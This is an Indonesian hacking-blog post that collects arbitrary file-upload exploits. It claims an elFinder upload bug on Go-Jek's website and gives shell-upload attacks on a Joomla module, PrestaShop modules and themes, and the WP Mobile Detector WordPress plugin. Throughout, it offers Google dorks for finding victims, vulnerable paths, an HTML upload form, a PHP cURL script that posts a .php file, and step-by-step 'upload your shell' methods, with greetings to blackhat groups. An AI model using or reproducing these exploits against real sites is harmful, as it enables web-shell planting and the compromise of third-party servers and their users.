Bug Pada Website GO-JEK Indonesia

Bug Pada Website GO-JEK Indonesia - Go-Jek merupakan sebuah startup yang menggunakan teknologi sebagai modal utama untuk menjalankan bisnisnya. Kami rasa Go-jek sendiri pasti mempunyai banyak sekali team didalamnya, seperti team developer, design, marketing dan lain lain. dan kami yakin pastinya gojek juga mempunyai team security untuk menjaga keamanan teknologi yang dipakainya.

Memang Go-jek tidak sepenuhnya menggunakan websitenya untuk menjalankan kegiatanya. Gojek hanya menggunakan aplikasi pada android / ios / os lainnya. Tetapi tidak menutup kemungkinan apakah website gojek dibiarkan begitu saja ? Menurut kami website juga sangat penting walaupun tidak banyak digunakan tetapi paling tidak dijaga keamanannya untuk mengindari sesuatu yang fatal. 

Ternyata website gojek mempunyai bug lohh.. 

mau tau ? Simak berikut ini 

Bug Website GoJek

#- Title: Bug Website GoJek 
#- Author: Tidak dipastikan
#- Published : 7-17-2016
#- Developer : Team Go-Jek
#- Fixed in Version : -
#- Tested on : windows

========================================================================

Proof Of Concept 

Vulnerability :

site.com/path/elfinder

Vuln Extension :

.php .php3 .php6 .txt .html .pl .htaccess .html .phtml .jpg .gif and anymore

Jenis Kerusakan : 

Lumayan Tinggi ( Tergantung Webnya )

Metode Penyerangan :

Attacker dapat menyerang celah ini dengan mengupload backdoor dengan berbagai extension

Deskripsi :

Go-jek mempunyai bug kemanan pada websitenya. bug tersebut adalah bug yang sudah banyak digunakan oleh beberapa website didunia. Jadi kami tidak kaget lagi tentang bug itu. Bug itu adalah : elFinder 2.0 - file manager for web(rc1) - File Upload Vulnerability
Bug ini sudah lama ditemukan sekitar 2 tahun yang lalu. 

Nampaknya go-jek sudah mengantisipasi hal berikut. Elfinder yang terdapat gojek ini sudah ditata sedimikian rupa sehingga para attacker hanya bisa mengupload beberapa file tetapi tidak bisa dapat mengeksekusi. 

Tetapi tidak menutup kemungkinan mungkin ada attacker yang lebih lihai lagi. Bisa saja elfindernya dibypass kemudian attacker tersebut dapat masuk kedalam public html. Tentu hal ini bisa berakibat fatal bagi Go-jek

Reference :  0day .today/exploit/22381

Solve

Patching

 ( Pic )

Joomla 2.5 Modules Simple Spotlight Upload Shell [Old 3xploi7]

#- Title: Joomla 2.5 Modules Simple Spotlight Upload Shell

#- Author: BL4ckc0d1n6

#- Published : 3-22-2012

#- Developer : joomla

#- Link Download : extensions.joomla .org/extension/simple-spotlight

#- Price : Free
#- Google Dork: inurl:/modules/mod_ppc_simple_spotlight/

#- Fixed in Version : -

#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description : 

Simple spotlight is a jQuery image rotator with navigation. You can have up to 20 images with links. You can turn off the navigation and choose between 27 effects for transition. It also has 5 button styles and a shadow effect.

Vulnerability : 
site/path/modules/mod_ppc_simple_spotlight/elements/upload_file.php

Result : 13k +

When Vuln : 

iSource :

 <script language="JavaScript">
 function refreshParent() {
   window.close();
   if (window.opener && !window.opener.closed) {
    window.opener.location.reload();
   } 
 }
</script>
 <form name="newad" method="post" enctype="multipart/form-data"  action="">
 <table>
  <tr>
  <td>
   <input type="file" name="image">
  </td>
 </tr>
  <tr>
  <td>
   <input name="Submit" type="submit" value="Upload image">
   <input type="button" value="Close" onclick="javascript: refreshParent()">
  </td>
 </tr>
 </table> 
 </form>

~ Method ~

1. Site .com

2. add 3xploi7 = /modules/mod_ppc_simple_spotlight/elements/upload_file.php

3. Ex : Site .com/modules/mod_ppc_simple_spotlight/elements/upload_file.php

4. Upload your shell / imges / html file

If Succesfully   > 

Shell Acces ? Click Here 

Module Files Upload Arbitrary File Upload - PrestaShop

#- Title: Module Files Upload Arbitrary File Upload - PrestaShop

#- Author: UyulCrack

#- Published : 30/06/2016

#- Developer : Prestashop

#- Link Download : addons.prestashop .com/fr/4270-files-upload.html

#- Price : 79,99 €
#- Google Dork: Use Your Brain

#- Fixed in Version : -

#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description : 

Simplify sending large files to your customers! This module allows your customers to send you one or more files in a simple and fast way. For example, a client wants to send EPS files of several gigabytes.
With this module you can recover the files just in the backoffice of your PrestaShop,

• Multilingual
• Multi Upload
• Drag and Drop
• Filter on file extensions
•  Limit files size
• Download customers files on the backoffice
• Send a mail to the customer at the end of the upload
• Send an email to the admin of the store
• Only connected customers can upload files
• Multi-Hook Module: right column, top left page, product page.

Vulnerability : 
site /modules/filesupload/upload.php

When Vuln : 

{"jsonrpc" : "2.0", "result" : null, "id" : "id"}

CSRF

<?php

$url = "http://www.site"; // put URL Here
$post = array
(
       "file" => "@3xploi7.jpg",
       "name" => "3xploi7.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;

?>

If Succesfully   > 

Shell Acces ? Click Here 

Greetings by UyulCrack

Thanks for TKJ Cyber Art - Indonesian Code Party - ZeynnymouZ

Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload

#- Title: Joomla Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload

#- Author: people_hurt

#- Published : 21/06/2016

#- Developer : iqit-commerce

#- Link Download : themeforest .net/item/warehouse-responsive-prestashop-16-theme-blog/3178575

#- Google Dork: inurl:"/modules/productpageadverts/"

#- Fixed in Version : -

#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description : 

Warehouse is a clean, powerfull HTML5 responsive prestashop theme.

Warehouse utilizes many advanced modules and modifications like(rollover images, clean cart, sliders, autocomplete, dialogs). Theme is SEO friendly and is Cross Browser compatible, it’s based on prestashop 1.6 default Bootstrap theme

Vulnerability : 
site /modules/columnadverts/uploadimage.php
site /modules/homepageadvertise/uploadimage.php
site /modules/productpageadverts/uploadimage.php
site /modules/simpleslideshow/uploadimage.php

CSRF

<form method="POST" action="http://website/modules/module name/uploadimage.php"
enctype="multipart/form-data">
<input type="file" name="userfile" /><button>Upload</button>
</form>

If Succesfully   > shell.xxx

Shell Acces ? Click Here 

by people_hurt

Greetzzzz : jatim blackhat - surabaya hackerlink - surabaya blackhat and you

WordPress Plugins WP Mobile Detector Shell Upload Vulnerability

#- Title: WordPress Plugins WP Mobile Detector Shell Upload Vulnerability
#- Author: aaditya purani
#- Date: 2016/06/03
#- Developer : Jesse Friedman
#- Link Download : wordpress. org/plugins/wp-mobile-detector
#- Google Dork: inurl:"/plugins/wp-mobile-detector/"
#- Fixed in Version : 3.6 / Fixed exploit with resize script.
#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description : 

Kelemahan ini telah terpecahkan untuk publik yaitu WP Mobile Detector Arbitrary File upload untuk versi 3.5. Dimana seorang attacker dapat mengupload  Malicious File / shell ke dalam sebuah website. Lebih dari 10.000 website terinfeksi bug ini. Tetapi vendor sudah merilis patch terbaru dari versi ini aitu versi 3.6 dan versi 3.7. Bahkan Securi sudah mempublikasikan kerentanan ini.

Vulnerability : site/wp-content/plugins/wp-mobile-detector/resize.php?src=[link to your shell.php]

Method : 

1. Cari Target.

2. Target/wp-content/plugins/wp-mobile-detector/resize.php?src=Link Shell Kamu

3. Jika berhasil maka shell tersebut akan tersimpan di dir /cache/

Format Shell > php

Need Shell Path ? Click Here